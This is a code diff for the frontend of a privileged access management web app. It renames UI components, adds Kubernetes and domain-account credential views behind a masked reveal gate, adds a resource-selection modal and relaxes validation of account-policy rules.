@@ -46,10 +42,10 @@ const CopyableField = ({ label, value }: { label: string; value: string }) => {
       <DetailLabel>{label}</DetailLabel>
       <DetailValue>
         <div className="flex items-center gap-2">
-          <UnstableInput value={value} readOnly className="flex-1 font-mono text-sm" />
-          <UnstableIconButton variant="ghost" onClick={handleCopy} size="sm">
+          <Input value={value} readOnly className="flex-1 font-mono text-sm" />
+          <IconButton variant="ghost" onClick={handleCopy} size="sm">
             <CopyIcon />
-          </UnstableIconButton>
+          </IconButton>
         </div>
       </DetailValue>
     </Detail>
@@ -100,14 +96,42 @@ const ActiveDirectoryCredentialsContent = ({ account }: { account: TActiveDirect
     <>
       <Detail>
         <DetailLabel>Account Type</DetailLabel>
-        <DetailValue className="capitalize">{account.internalMetadata.accountType}</DetailValue>
+        <DetailValue className="capitalize">{account.internalMetadata?.accountType}</DetailValue>
       </Detail>
       <CopyableField label="Username" value={account.credentials.username} />
     </>
   );
 };
 
+const KubernetesCredentialsContent = ({ credentials }: { credentials: TKubernetesCredentials }) => {
+  if (credentials.authMethod === KubernetesAuthMethod.GatewayKubernetesAuth) {
+    return (
+      <>
+        <CopyableField label="Namespace" value={credentials.namespace} />
+        <CopyableField label="Service Account Name" value={credentials.serviceAccountName} />
+      </>
+    );
+  }
+
+  // ServiceAccountToken: no non-sensitive fields (token is behind the reveal gate)
+  return null;
+};
+
 const CredentialsContent = ({ account }: { account: TPamAccount }) => {
+  if (account.domain) {
+    switch (account.domain.domainType) {
+      case "active-directory":
+        return (
+          <ActiveDirectoryCredentialsContent
+            account={account as unknown as TActiveDirectoryAccount}
+          />
+        );
+      default:
+        return null;
+    }
+  }
+
+  if (!account.resource) return null;
   const { resourceType } = account.resource;
 
   switch (resourceType) {
@@ -123,8 +147,10 @@ const CredentialsContent = ({ account }: { account: TPamAccount }) => {
       return <AwsIamCredentialsContent credentials={account.credentials as TAwsIamCredentials} />;
     case PamResourceType.Windows:
       return <WindowsCredentialsContent account={account as TWindowsAccount} />;
-    case PamResourceType.ActiveDirectory:
-      return <ActiveDirectoryCredentialsContent account={account as TActiveDirectoryAccount} />;
+    case PamResourceType.Kubernetes:
+      return (
+        <KubernetesCredentialsContent credentials={account.credentials as TKubernetesCredentials} />
+      );
     default:
       return null;
   }
@@ -152,17 +178,17 @@ const SensitiveField = ({ label, value }: { label: string; value: string }) => {
       <DetailLabel>{label}</DetailLabel>
       <DetailValue>
         <div className="flex items-center gap-2">
-          <UnstableInput
+          <Input
             value={isVisible ? value : MASKED_VALUE}
             readOnly
             className="flex-1 font-mono text-sm"
           />
-          <UnstableIconButton variant="ghost" size="sm" onClick={toggleVisibility}>
+          <IconButton variant="ghost" size="sm" onClick={toggleVisibility}>
             {isVisible ? <EyeOffIcon /> : <EyeIcon />}
-          </UnstableIconButton>
-          <UnstableIconButton variant="ghost" size="sm" onClick={handleCopy}>
+          </IconButton>
+          <IconButton variant="ghost" size="sm" onClick={handleCopy}>
             {isCopied ? <CheckIcon /> : <CopyIcon />}
-          </UnstableIconButton>
+          </IconButton>
         </div>
       </DetailValue>
     </Detail>
@@ -188,9 +214,9 @@ const MultilineSensitiveField = ({ label, value }: { label: string; value: strin
       <DetailLabel>
         <div className="flex w-full items-center justify-between">
           {label}
-          <UnstableIconButton variant="ghost" size="sm" onClick={handleCopy}>
+          <IconButton variant="ghost" size="sm" onClick={handleCopy}>
             {isCopied ? <CheckIcon /> : <CopyIcon />}
-          </UnstableIconButton>
+          </IconButton>
         </div>
       </DetailLabel>
       <DetailValue>
@@ -212,6 +238,16 @@ type SensitiveFieldDef = {
 // Non-sensitive fields (username, auth method, etc.) are already shown by CredentialsContent above.
 // When adding a new resource type, add a case here if it has credentials hidden from the sanitized view.
 const getSensitiveFieldDefs = (account: TPamAccount): SensitiveFieldDef[] => {
+  if (account.domain) {
+    switch (account.domain.domainType) {
+      case "active-directory":
+        return [{ key: "password", label: "Password" }];
+      default:
+        return [];
+    }
+  }
+
+  if (!account.resource) return [];
   const { resourceType } = account.resource;
 
   switch (resourceType) {
@@ -221,7 +257,6 @@ const getSensitiveFieldDefs = (account: TPamAccount): SensitiveFieldDef[] => {
     case PamResourceType.MongoDB:
     case PamResourceType.Redis:
     case PamResourceType.Windows:
-    case PamResourceType.ActiveDirectory:
       return [{ key: "password", label: "Password" }];
 
     case PamResourceType.SSH: {
@@ -232,6 +267,13 @@ const getSensitiveFieldDefs = (account: TPamAccount): SensitiveFieldDef[] => {
       return [];
     }
 
+    case PamResourceType.Kubernetes: {
+      const { authMethod } = account.credentials as TKubernetesCredentials;
+      if (authMethod === KubernetesAuthMethod.ServiceAccountToken)
+        return [{ key: "serviceAccountToken", label: "Service Account Token", multiline: true }];
+      return [];
+    }
+
     default:
       return [];
   }
@@ -277,11 +319,7 @@ const RevealedCredentials = ({
 export const PamAccountCredentialsSection = ({ account, onEdit }: Props) => {
   const { state, startReveal, reset } = useCredentialsReveal(account.id);
 
-  if (
-    Object.keys(account.credentials).length <= 0 ||
-    [PamResourceType.Kubernetes].includes(account.resource.resourceType)
-  )
-    return null;
+  if (Object.keys(account.credentials).length <= 0) return null;
 
   const sensitiveFieldDefs = getSensitiveFieldDefs(account);
   const hasSensitiveFields = sensitiveFieldDefs.length > 0;
@@ -295,9 +333,9 @@ export const PamAccountCredentialsSection = ({ account, onEdit }: Props) => {
           a={ProjectPermissionSub.PamAccounts}
         >
           {(isAllowed) => (
-            <UnstableIconButton variant="ghost" size="xs" onClick={onEdit} isDisabled={!isAllowed}>
+            <IconButton variant="ghost" size="xs" onClick={onEdit} isDisabled={!isAllowed}>
               <PencilIcon />
-            </UnstableIconButton>
+            </IconButton>
           )}
         </ProjectPermissionCan>
       </div>
@@ -306,8 +344,8 @@ export const PamAccountCredentialsSection = ({ account, onEdit }: Props) => {
         <SensitiveCredentialsGate
           state={state}
           accountName={account.name}
-          resourceName={account.resource.name}
-          resourceType={account.resource.resourceType}
+          resourceName={account.resource?.name ?? ""}
+          resourceType={account.resource?.resourceType ?? ("" as PamResourceType)}
           metadata={account.metadata}
           onReveal={() => {
             if (!account.credentialsConfigured) {
diff --git a/frontend/src/pages/pam/PamAccountByIDPage/components/PamAccountDependenciesSection.tsx b/frontend/src/pages/pam/PamAccountByIDPage/components/PamAccountDependenciesSection.tsx
index 5a4d46de4ad..c57920d30ba 100644
--- a/frontend/src/pages/pam/PamAccountByIDPage/components/PamAccountDependenciesSection.tsx
+++ b/frontend/src/pages/pam/PamAccountByIDPage/components/PamAccountDependenciesSection.tsx
@@ -7,11 +7,14 @@ export const PamAccountDependenciesSection = ({ account }: { account: TPamAccoun
   const { data: dependencies, isPending } = useGetPamAccountDependencies(account.id);
 
   return (
-    <PamDependenciesTable
-      dependencies={dependencies}
-      isPending={isPending}
-      contextColumnLabel="Resource"
-      getContextValue={(dep) => dep.resourceName}
-    />
+    <div>
+      <h2 className="mb-4 text-xl font-semibold">Services & Tasks</h2>
+      <PamDependenciesTable
+        dependencies={dependencies}
+        isPending={isPending}
+        contextColumnLabel="Resource"
+        getContextValue={(dep) => dep.resourceName}
+      />
+    </div>
   );
 };
diff --git a/frontend/src/pages/pam/PamAccountByIDPage/components/PamAccountDetailsSection.tsx b/frontend/src/pages/pam/PamAccountByIDPage/components/PamAccountDetailsSection.tsx
index 475d3ed9952..515511c31f2 100644
--- a/frontend/src/pages/pam/PamAccountByIDPage/components/PamAccountDetailsSection.tsx
+++ b/frontend/src/pages/pam/PamAccountByIDPage/components/PamAccountDetailsSection.tsx
@@ -8,7 +8,7 @@ import {
   DetailGroup,
   DetailLabel,
   DetailValue,
-  UnstableIconButton
+  IconButton
 } from "@app/components/v3";
 import { ProjectPermissionSub } from "@app/context";
 import { ProjectPermissionPamAccountActions } from "@app/context/ProjectPermissionContext/types";
@@ -51,7 +51,9 @@ const rotationStatusLabel = (status?: string | null) => {
 };
 
 export const PamAccountDetailsSection = ({ account, onEdit }: Props) => {
-  const resourceTypeInfo = PAM_RESOURCE_TYPE_MAP[account.resource.resourceType];
+  const resourceTypeInfo = account.resource
+    ? PAM_RESOURCE_TYPE_MAP[account.resource.resourceType]
+    : null;
   const isRotating = account.rotationStatus === PamAccountRotationStatus.Rotating;
 
   // Poll for status updates while rotation is in progress
@@ -68,9 +70,9 @@ export const PamAccountDetailsSection = ({ account, onEdit }: Props) => {
           a={ProjectPermissionSub.PamAccounts}
         >
           {(isAllowed) => (
-            <UnstableIconButton variant="ghost" size="xs" onClick={onEdit} isDisabled={!isAllowed}>
+            <IconButton variant="ghost" size="xs" onClick={onEdit} isDisabled={!isAllowed}>
               <PencilIcon />
-            </UnstableIconButton>
+            </IconButton>
           )}
         </ProjectPermissionCan>
       </div>
@@ -83,22 +85,24 @@ export const PamAccountDetailsSection = ({ account, onEdit }: Props) => {
           <DetailLabel>Description</DetailLabel>
           <DetailValue>{account.description || "-"}</DetailValue>
         </Detail>
-        <Detail>
-          <DetailLabel>Type</DetailLabel>
-          <DetailValue>
-            <div className="flex items-center gap-2">
-              <img
-                alt={resourceTypeInfo.name}
-                src={`/images/integrations/${resourceTypeInfo.image}`}
-                className="size-4"
-              />
-              {resourceTypeInfo.name} Account
-            </div>
-          </DetailValue>
-        </Detail>
+        {resourceTypeInfo && (
+          <Detail>
+            <DetailLabel>Type</DetailLabel>
+            <DetailValue>
+              <div className="flex items-center gap-2">
+                <img
+                  alt={resourceTypeInfo.name}
+                  src={`/images/integrations/${resourceTypeInfo.image}`}
+                  className="size-4"
+                />
+                {resourceTypeInfo.name} Account
+              </div>
+            </DetailValue>
+          </Detail>
+        )}
         <Detail>
           <DetailLabel>Parent Resource</DetailLabel>
-          <DetailValue>{account.resource.name}</DetailValue>
+          <DetailValue>{account.resource?.name ?? "—"}</DetailValue>
         </Detail>
         <Detail>
           <DetailLabel>Account Policy</DetailLabel>
diff --git a/frontend/src/pages/pam/PamAccountByIDPage/components/PamAccountMetadataSection.tsx b/frontend/src/pages/pam/PamAccountByIDPage/components/PamAccountMetadataSection.tsx
index 0756725d2ee..41cc0a54c23 100644
--- a/frontend/src/pages/pam/PamAccountByIDPage/components/PamAccountMetadataSection.tsx
+++ b/frontend/src/pages/pam/PamAccountByIDPage/components/PamAccountMetadataSection.tsx
@@ -7,7 +7,7 @@ import { z } from "zod";
 import { createNotification } from "@app/components/notifications";
 import { ProjectPermissionCan } from "@app/components/permissions";
 import { Button, Modal, ModalContent } from "@app/components/v2";
-import { Badge, UnstableButtonGroup, UnstableIconButton } from "@app/components/v3";
+import { Badge, ButtonGroup, IconButton } from "@app/components/v3";
 import { ProjectPermissionSub } from "@app/context";
 import { ProjectPermissionPamAccountActions } from "@app/context/ProjectPermissionContext/types";
 import { TPamAccount, useUpdatePamAccount } from "@app/hooks/api/pam";
@@ -56,7 +56,7 @@ export const PamAccountMetadataSection = ({ account }: Props) => {
       try {
         await updateAccount({
           accountId: account.id,
-          resourceType: account.resource.resourceType,
+          parentType: account.parentType,
           metadata: formData.metadata || []
         });
         createNotification({
@@ -71,7 +71,7 @@ export const PamAccountMetadataSection = ({ account }: Props) => {
         });
       }
     },
-    [account.id, account.resource.resourceType, updateAccount]
+    [account.id, account.resource?.resourceType, updateAccount]
   );
 
   return (
@@ -84,7 +84,7 @@ export const PamAccountMetadataSection = ({ account }: Props) => {
             a={ProjectPermissionSub.PamAccounts}
           >
             {(isAllowed) => (
-              <UnstableIconButton
+              <IconButton
                 variant="ghost"
                 size="xs"
                 onClick={() => {
@@ -94,7 +94,7 @@ export const PamAccountMetadataSection = ({ account }: Props) => {
                 isDisabled={!isAllowed}
               >
                 <PencilIcon />
-              </UnstableIconButton>
+              </IconButton>
             )}
           </ProjectPermissionCan>
         </div>
@@ -102,17 +102,14 @@ export const PamAccountMetadataSection = ({ account }: Props) => {
           <div className="flex flex-wrap gap-2">
             {metadata.map((item) =>
               item.value ? (
-                <UnstableButtonGroup
-                  className="max-w-full min-w-0"
-                  key={`${item.key}=${item.value}`}
-                >
+                <ButtonGroup className="max-w-full min-w-0" key={`${item.key}=${item.value}`}>
                   <Badge isTruncatable className="max-w-[12rem] shrink-0">
                     <span>{item.key}</span>
                   </Badge>
                   <Badge variant="outline" isTruncatable>
                     <span>{item.value}</span>
                   </Badge>
-                </UnstableButtonGroup>
+                </ButtonGroup>
               ) : (
                 <Badge key={item.key} isTruncatable>
                   <span>{item.key}</span>
diff --git a/frontend/src/pages/pam/PamAccountByIDPage/components/PamAccountPropertiesSection.tsx b/frontend/src/pages/pam/PamAccountByIDPage/components/PamAccountPropertiesSection.tsx
index a695937f613..e09960aa3d8 100644
--- a/frontend/src/pages/pam/PamAccountByIDPage/components/PamAccountPropertiesSection.tsx
+++ b/frontend/src/pages/pam/PamAccountByIDPage/components/PamAccountPropertiesSection.tsx
@@ -2,19 +2,8 @@ import { format } from "date-fns";
 import { CopyIcon } from "lucide-react";
 
 import { createNotification } from "@app/components/notifications";
-import {
-  Detail,
-  DetailLabel,
-  DetailValue,
-  UnstableIconButton,
-  UnstableInput
-} from "@app/components/v3";
-import {
-  PamResourceType,
-  TActiveDirectoryAccount,
-  TPamAccount,
-  TWindowsAccount
-} from "@app/hooks/api/pam";
+import { Detail, DetailLabel, DetailValue, IconButton, Input } from "@app/components/v3";
+import { PamResourceType, TPamAccount, TWindowsAccount } from "@app/hooks/api/pam";
 
 const CopyableField = ({ label, value }: { label: string; value: string }) => {
   const handleCopy = () => {
@@ -30,10 +19,10 @@ const CopyableField = ({ label, value }: { label: string; value: string }) => {
       <DetailLabel>{label}</DetailLabel>
       <DetailValue>
         <div className="flex items-center gap-2">
-          <UnstableInput value={value} readOnly className="flex-1 font-mono text-sm" />
-          <UnstableIconButton variant="ghost" onClick={handleCopy} size="sm">
+          <Input value={value} readOnly className="flex-1 font-mono text-sm" />
+          <IconButton variant="ghost" onClick={handleCopy} size="sm">
             <CopyIcon />
-          </UnstableIconButton>
+          </IconButton>
         </div>
       </DetailValue>
     </Detail>
@@ -47,30 +36,8 @@ type TPropertyField = {
 };
 
 const getAccountProperties = (account: TPamAccount): TPropertyField[] => {
+  if (!account.resource) return [];
   switch (account.resource.resourceType) {
-    case PamResourceType.ActiveDirectory: {
-      const { internalMetadata } = account as TActiveDirectoryAccount;
-      const fields: TPropertyField[] = [];
-
-      if (internalMetadata.userPrincipalName) {
-        fields.push({ label: "User Principal Name", value: internalMetadata.userPrincipalName });
-      }
-      if (internalMetadata.adGuid) {
-        fields.push({ label: "AD GUID", value: internalMetadata.adGuid });
-      }
-      if (internalMetadata.passwordLastSet) {
-        fields.push({
-          label: "Password Last Set",
-          value: internalMetadata.passwordLastSet,
-          type: "date"
-        });
-      }
-      if (internalMetadata.lastLogon) {
-        fields.push({ label: "Last Logon", value: internalMetadata.lastLogon, type: "date" });
-      }
-
-      return fields;
-    }
     case PamResourceType.Windows: {
       const { internalMetadata } = account as TWindowsAccount;
       const fields: TPropertyField[] = [];
diff --git a/frontend/src/pages/pam/PamAccountByIDPage/components/PamAccountResourcesSection.tsx b/frontend/src/pages/pam/PamAccountByIDPage/components/PamAccountResourcesSection.tsx
index ffd23e19389..e382c80f25e 100644
--- a/frontend/src/pages/pam/PamAccountByIDPage/components/PamAccountResourcesSection.tsx
+++ b/frontend/src/pages/pam/PamAccountByIDPage/components/PamAccountResourcesSection.tsx
@@ -1,7 +1,7 @@
 import { MonitorIcon } from "lucide-react";
 import { twMerge } from "tailwind-merge";
 
-import { PamResourceType, TPamAccount, useListRelatedResources } from "@app/hooks/api/pam";
+import { PamResourceType, TPamAccount } from "@app/hooks/api/pam";
 
 type Props = {
   account: TPamAccount;
@@ -34,52 +34,10 @@ const ResourceCard = ({ name, resourceId, onAccess }: ResourceCardProps) => {
   );
 };
 
-const ActiveDirectoryAccountResources = ({ account, onAccessResource }: Props) => {
-  const { resource } = account;
-
-  // For AD accounts, show all domain member resources (excluding the AD server itself)
-  const { data: relatedResources, isPending } = useListRelatedResources(resource.id);
-
-  return (
-    <div className="rounded-lg border border-border bg-container">
-      <div className="border-b border-border px-4 py-3">
-        <h3 className="text-lg font-medium">Resources</h3>
-        <p className="text-sm text-muted">Domain machines this account can access</p>
-      </div>
-      <div className="p-4">
-        {isPending && <p className="text-sm text-muted">Loading resources...</p>}
-        {!isPending && (!relatedResources || relatedResources.length === 0) && (
-          <p className="py-4 text-center text-sm text-muted">No domain resources found</p>
-        )}
-        {relatedResources && relatedResources.length > 0 && (
-          // Temporarily disable connecting to AD accounts
-          <div className="pointer-events-none grid grid-cols-1 gap-4 opacity-60 md:grid-cols-2">
-            {relatedResources.map((relatedResource) => {
-              return (
-                <ResourceCard
-                  key={relatedResource.id}
-                  name={relatedResource.name}
-                  resourceId={relatedResource.id}
-                  onAccess={() => onAccessResource(relatedResource.id)}
-                />
-              );
-            })}
-          </div>
-        )}
-      </div>
-    </div>
-  );
-};
-
 export const PamAccountResourcesSection = ({ account, onAccessResource }: Props) => {
   const { resource } = account;
 
-  // For Active Directory accounts, show related domain resources instead
-  if (resource.resourceType === PamResourceType.ActiveDirectory) {
-    return (
-      <ActiveDirectoryAccountResources account={account} onAccessResource={onAccessResource} />
-    );
-  }
+  if (!resource) return null;
 
   return (
     <div className="rounded-lg border border-border bg-container">
diff --git a/frontend/src/pages/pam/PamAccountByIDPage/components/PamSelectResourceModal.tsx b/frontend/src/pages/pam/PamAccountByIDPage/components/PamSelectResourceModal.tsx
new file mode 100644
index 00000000000..01a5736a5db
--- /dev/null
+++ b/frontend/src/pages/pam/PamAccountByIDPage/components/PamSelectResourceModal.tsx
@@ -0,0 +1,92 @@
+import { useState } from "react";
+
+import { Button, Modal, ModalContent, Select, SelectItem } from "@app/components/v2";
+import { PAM_RESOURCE_TYPE_MAP, PamResourceType } from "@app/hooks/api/pam";
+import { TPamDomainRelatedResource, useListDomainRelatedResources } from "@app/hooks/api/pamDomain";
+
+type Props = {
+  isOpen: boolean;
+  onOpenChange: (isOpen: boolean) => void;
+  domainType: string;
+  domainId: string;
+  onSelect: (resource: TPamDomainRelatedResource) => void;
+};
+
+export const PamSelectResourceModal = ({
+  isOpen,
+  onOpenChange,
+  domainType,
+  domainId,
+  onSelect
+}: Props) => {
+  const [selectedResourceId, setSelectedResourceId] = useState<string>("");
+  const { data: resources } = useListDomainRelatedResources(domainType, domainId, {
+    enabled: isOpen
+  });
+
+  const handleAccess = () => {
+    const resource = resources?.find((r) => r.id === selectedResourceId);
+    if (resource) {
+      onSelect(resource);
+      onOpenChange(false);
+      setSelectedResourceId("");
+    }
+  };
+
+  return (
+    <Modal
+      isOpen={isOpen}
+      onOpenChange={(open) => {
+        onOpenChange(open);
+        if (!open) setSelectedResourceId("");
+      }}
+    >
+      <ModalContent
+        title="Access Account"
+        subTitle="Select a resource to access this domain account on."
+      >
+        <div className="mt-2">
+          <Select
+            value={selectedResourceId}
+            onValueChange={setSelectedResourceId}
+            placeholder="Select a resource..."
+            className="w-full"
+            position="popper"
+          >
+            {(resources || []).map((resource) => {
+              const typeInfo = PAM_RESOURCE_TYPE_MAP[resource.resourceType as PamResourceType];
+              return (
+                <SelectItem key={resource.id} value={resource.id}>
+                  <div className="flex items-center gap-2">
+                    {typeInfo?.image && (
+                      <img
+                        alt={typeInfo.name}
+                        src={`/images/integrations/${typeInfo.image}`}
+                        className="size-4"
+                      />
+                    )}
+                    {resource.name}
+                  </div>
+                </SelectItem>
+              );
+            })}
+          </Select>
+        </div>
+        <div className="mt-4 flex gap-2">
+          <Button onClick={handleAccess} isDisabled={!selectedResourceId} colorSchema="primary">
+            Access
+          </Button>
+          <Button
+            variant="outline_bg"
+            onClick={() => {
+              onOpenChange(false);
+              setSelectedResourceId("");
+            }}
+          >
+            Cancel
+          </Button>
+        </div>
+      </ModalContent>
+    </Modal>
+  );
+};
diff --git a/frontend/src/pages/pam/PamAccountByIDPage/components/index.ts b/frontend/src/pages/pam/PamAccountByIDPage/components/index.ts
index 6e665fc588d..f22b6ae9a86 100644
--- a/frontend/src/pages/pam/PamAccountByIDPage/components/index.ts
+++ b/frontend/src/pages/pam/PamAccountByIDPage/components/index.ts
@@ -4,3 +4,4 @@ export { PamAccountDetailsSection } from "./PamAccountDetailsSection";
 export { PamAccountMetadataSection } from "./PamAccountMetadataSection";
 export { PamAccountPropertiesSection } from "./PamAccountPropertiesSection";
 export { PamAccountResourcesSection } from "./PamAccountResourcesSection";
+export { PamSelectResourceModal } from "./PamSelectResourceModal";
diff --git a/frontend/src/pages/pam/PamAccountByIDPage/route.tsx b/frontend/src/pages/pam/PamAccountByIDPage/route.tsx
index 7ae205c6366..1e89f2526f5 100644
--- a/frontend/src/pages/pam/PamAccountByIDPage/route.tsx
+++ b/frontend/src/pages/pam/PamAccountByIDPage/route.tsx
@@ -1,26 +1,11 @@
-import { createFileRoute, linkOptions, stripSearchParams } from "@tanstack/react-router";
-import { zodValidator } from "@tanstack/zod-adapter";
-import { z } from "zod";
+import { createFileRoute, linkOptions } from "@tanstack/react-router";
 
 import { PamAccountByIDPage } from "./PamAccountByIDPage";
 
-export enum AccountDetailTab {
-  Resources = "resources",
-  Dependencies = "dependencies"
-}
-
-const AccountDetailSearchSchema = z.object({
-  selectedTab: z.nativeEnum(AccountDetailTab).catch(AccountDetailTab.Resources)
-});
-
 export const Route = createFileRoute(
   "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/resources/$resourceType/$resourceId/accounts/$accountId/"
 )({
-  validateSearch: zodValidator(AccountDetailSearchSchema),
   component: PamAccountByIDPage,
-  search: {
-    middlewares: [stripSearchParams({ selectedTab: AccountDetailTab.Resources })]
-  },
   beforeLoad: ({ context, params }) => {
     return {
       breadcrumbs: [
diff --git a/frontend/src/pages/pam/PamAccountPoliciesPage/components/PamAccountPoliciesSection.tsx b/frontend/src/pages/pam/PamAccountPoliciesPage/components/PamAccountPoliciesSection.tsx
index 213a7a84a12..0c2b6bdd9a1 100644
--- a/frontend/src/pages/pam/PamAccountPoliciesPage/components/PamAccountPoliciesSection.tsx
+++ b/frontend/src/pages/pam/PamAccountPoliciesPage/components/PamAccountPoliciesSection.tsx
@@ -9,23 +9,23 @@ import { DeleteActionModal, Input } from "@app/components/v2";
 import {
   Badge,
   Button,
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+  Empty,
+  EmptyHeader,
+  EmptyTitle,
+  IconButton,
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow,
   Tooltip,
   TooltipContent,
-  TooltipTrigger,
-  UnstableDropdownMenu,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuItem,
-  UnstableDropdownMenuTrigger,
-  UnstableEmpty,
-  UnstableEmptyHeader,
-  UnstableEmptyTitle,
-  UnstableIconButton,
-  UnstableTable,
-  UnstableTableBody,
-  UnstableTableCell,
-  UnstableTableHead,
-  UnstableTableHeader,
-  UnstableTableRow
+  TooltipTrigger
 } from "@app/components/v3";
 import { ProjectPermissionSub } from "@app/context";
 import { ProjectPermissionPamAccountPolicyActions } from "@app/context/ProjectPermissionContext/types";
@@ -102,40 +102,40 @@ export const PamAccountPoliciesSection = ({ projectId }: Props) => {
       </div>
 
       <div className="mt-4">
-        <UnstableTable>
-          <UnstableTableHeader>
-            <UnstableTableRow>
-              <UnstableTableHead>Name</UnstableTableHead>
-              <UnstableTableHead>Status</UnstableTableHead>
-              <UnstableTableHead>Created</UnstableTableHead>
-              <UnstableTableHead className="w-5" />
-            </UnstableTableRow>
-          </UnstableTableHeader>
-          <UnstableTableBody>
+        <Table>
+          <TableHeader>
+            <TableRow>
+              <TableHead>Name</TableHead>
+              <TableHead>Status</TableHead>
+              <TableHead>Created</TableHead>
+              <TableHead className="w-5" />
+            </TableRow>
+          </TableHeader>
+          <TableBody>
             {isPending && (
-              <UnstableTableRow>
-                <UnstableTableCell colSpan={4} className="text-center text-muted">
+              <TableRow>
+                <TableCell colSpan={4} className="text-center text-muted">
                   Loading account policies...
-                </UnstableTableCell>
-              </UnstableTableRow>
+                </TableCell>
+              </TableRow>
             )}
             {!isPending && (!policies || policies.length === 0) && (
-              <UnstableTableRow>
-                <UnstableTableCell colSpan={4}>
-                  <UnstableEmpty className="border-0 bg-transparent py-8 shadow-none">
-                    <UnstableEmptyHeader>
-                      <UnstableEmptyTitle>
+              <TableRow>
+                <TableCell colSpan={4}>
+                  <Empty className="border-0 bg-transparent py-8 shadow-none">
+                    <EmptyHeader>
+                      <EmptyTitle>
                         {search ? "No account policies match search" : "No account policies"}
-                      </UnstableEmptyTitle>
-                    </UnstableEmptyHeader>
-                  </UnstableEmpty>
-                </UnstableTableCell>
-              </UnstableTableRow>
+                      </EmptyTitle>
+                    </EmptyHeader>
+                  </Empty>
+                </TableCell>
+              </TableRow>
             )}
             {!isPending &&
               policies?.map((policy) => (
-                <UnstableTableRow key={policy.id}>
-                  <UnstableTableCell>
+                <TableRow key={policy.id}>
+                  <TableCell>
                     <div className="flex items-center">
                       <span className="font-medium">{policy.name}</span>
                       {policy.description && (
@@ -147,35 +147,35 @@ export const PamAccountPoliciesSection = ({ projectId }: Props) => {
                         </Tooltip>
                       )}
                     </div>
-                  </UnstableTableCell>
-                  <UnstableTableCell>
+                  </TableCell>
+                  <TableCell>
                     <Badge variant={policy.isActive ? "success" : "neutral"}>
                       {policy.isActive ? "Enabled" : "Disabled"}
                     </Badge>
-                  </UnstableTableCell>
-                  <UnstableTableCell className="text-muted">
+                  </TableCell>
+                  <TableCell className="text-muted">
                     {format(new Date(policy.createdAt), "MMM d, yyyy")}
-                  </UnstableTableCell>
-                  <UnstableTableCell>
-                    <UnstableDropdownMenu>
-                      <UnstableDropdownMenuTrigger asChild>
-                        <UnstableIconButton variant="ghost" size="xs">
+                  </TableCell>
+                  <TableCell>
+                    <DropdownMenu>
+                      <DropdownMenuTrigger asChild>
+                        <IconButton variant="ghost" size="xs">
                           <EllipsisVerticalIcon />
-                        </UnstableIconButton>
-                      </UnstableDropdownMenuTrigger>
-                      <UnstableDropdownMenuContent sideOffset={2} align="end">
+                        </IconButton>
+                      </DropdownMenuTrigger>
+                      <DropdownMenuContent sideOffset={2} align="end">
                         <ProjectPermissionCan
                           I={ProjectPermissionPamAccountPolicyActions.Edit}
                           a={ProjectPermissionSub.PamAccountPolicies}
                         >
                           {(isAllowed) => (
-                            <UnstableDropdownMenuItem
+                            <DropdownMenuItem
                               isDisabled={!isAllowed}
                               onSelect={() => handlePopUpOpen("editPolicy", policy)}
                             >
                               <PencilIcon className="mr-2 size-4" />
                               Edit
-                            </UnstableDropdownMenuItem>
+                            </DropdownMenuItem>
                           )}
                         </ProjectPermissionCan>
                         <ProjectPermissionCan
@@ -183,23 +183,23 @@ export const PamAccountPoliciesSection = ({ projectId }: Props) => {
                           a={ProjectPermissionSub.PamAccountPolicies}
                         >
                           {(isAllowed) => (
-                            <UnstableDropdownMenuItem
+                            <DropdownMenuItem
                               isDisabled={!isAllowed}
                               variant="danger"
                               onSelect={() => handlePopUpOpen("deletePolicy", policy)}
                             >
                               <TrashIcon className="mr-2 size-4" />
                               Delete
-                            </UnstableDropdownMenuItem>
+                            </DropdownMenuItem>
                           )}
                         </ProjectPermissionCan>
-                      </UnstableDropdownMenuContent>
-                    </UnstableDropdownMenu>
-                  </UnstableTableCell>
-                </UnstableTableRow>
+                      </DropdownMenuContent>
+                    </DropdownMenu>
+                  </TableCell>
+                </TableRow>
               ))}
-          </UnstableTableBody>
-        </UnstableTable>
+          </TableBody>
+        </Table>
       </div>
 
       <PolicySheet
diff --git a/frontend/src/pages/pam/PamAccountPoliciesPage/components/PolicySheet.tsx b/frontend/src/pages/pam/PamAccountPoliciesPage/components/PolicySheet.tsx
index 95d2c5a6e02..6d39b8ae2f0 100644
--- a/frontend/src/pages/pam/PamAccountPoliciesPage/components/PolicySheet.tsx
+++ b/frontend/src/pages/pam/PamAccountPoliciesPage/components/PolicySheet.tsx
@@ -16,6 +16,8 @@ import {
   FieldContent,
   FieldError,
   FieldLabel,
+  IconButton,
+  Input,
   Label,
   Popover,
   PopoverContent,
@@ -30,9 +32,7 @@ import {
   TextArea,
   Tooltip,
   TooltipContent,
-  TooltipTrigger,
-  UnstableIconButton,
-  UnstableInput
+  TooltipTrigger
 } from "@app/components/v3";
 import {
   PamAccountPolicyRuleType,
@@ -44,6 +44,7 @@ import {
 import { PAM_RESOURCE_TYPE_MAP } from "@app/hooks/api/pam/maps";
 
 import {
+  PAM_ACCOUNT_POLICY_RULE_IS_PATTERNLESS,
   PAM_ACCOUNT_POLICY_RULE_METADATA,
   PAM_ACCOUNT_POLICY_RULE_SUPPORTED_RESOURCES
 } from "./constants";
@@ -66,13 +67,21 @@ const RulePatternSchema = z.object({
     .refine(isValidRegex, { message: "Invalid regular expression" })
 });
 
-const RuleSchema = z.object({
-  ruleType: z.nativeEnum(PamAccountPolicyRuleType),
-  patterns: z
-    .array(RulePatternSchema)
-    .min(1, "At least one pattern is required")
-    .max(20, "A rule can have at most 20 patterns")
-});
+const RuleSchema = z
+  .object({
+    ruleType: z.nativeEnum(PamAccountPolicyRuleType),
+    patterns: z.array(RulePatternSchema).max(20, "A rule can have at most 20 patterns").optional()
+  })
+  .superRefine((rule, ctx) => {
+    if (PAM_ACCOUNT_POLICY_RULE_IS_PATTERNLESS[rule.ruleType]) return;
+    if (!rule.patterns || rule.patterns.length < 1) {
+      ctx.addIssue({
+        code: z.ZodIssueCode.custom,
+        path: ["patterns"],
+        message: "At least one pattern is required"
+      });
+    }
+  });
 
 const FormSchema = z.object({
   name: z.string().trim().min(1, "Name is required").max(255),
@@ -90,19 +99,33 @@ type Props = {
 };
 
